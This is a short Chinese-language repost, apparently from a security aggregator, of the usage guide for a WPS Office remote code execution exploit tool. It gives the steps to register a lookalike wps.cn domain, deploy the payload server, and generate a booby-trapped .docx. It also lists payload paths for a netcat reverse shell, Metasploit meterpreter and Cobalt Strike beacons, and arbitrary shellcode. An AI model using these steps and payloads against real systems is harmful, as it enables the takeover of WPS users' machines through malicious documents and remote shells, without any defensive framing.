← 返回列表

wps-rce: WPS Office RCE On 2023-08-10

聚合站 SecWiki技术 入库 2026-11-18T09:51:46
  1. 购买***wps.cn的域名

Alt text

  1. 部署html文件到vps上,并且把域名绑定到vps
git clone https://github.com/ba0gu0/wps_rce
cd wps_rce
pip install -r requirement.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
cd server
python main.py

image-20230811153226311

image-20230811153844569

image-20230811154049949

url地址 平台 payload
/calc 无 执行calc命令
/shell/1.1.1.1/9000 all 服务器监听:nc -lnvp 9000
/msf/tcp/1.1.1.1/9000 msf windows/meterpreter/reverse_tcp
/msf/http/1.1.1.1/80 msf windows/meterpreter/reverse_http
/msf/https/1.1.1.1/443 msf windows/meterpreter/reverse_https
/cs/http/1.1.1.1/80 cs Beacon http
/cs/https/1.1.1.1/443 cs Beacon https
/shellcode/base64_shellcode 无 任意的windows可用的shellcode,需要进行base64编码

image-20230811154424873

cd client
python main.py ~/Downloads/temp.docx http://clientweb.docer.wps.cn.cloudwps.cn/shell/1.1.1.1/9000

image-20230811152820733

原文链接:https://github.com/ba0gu0/wps-rce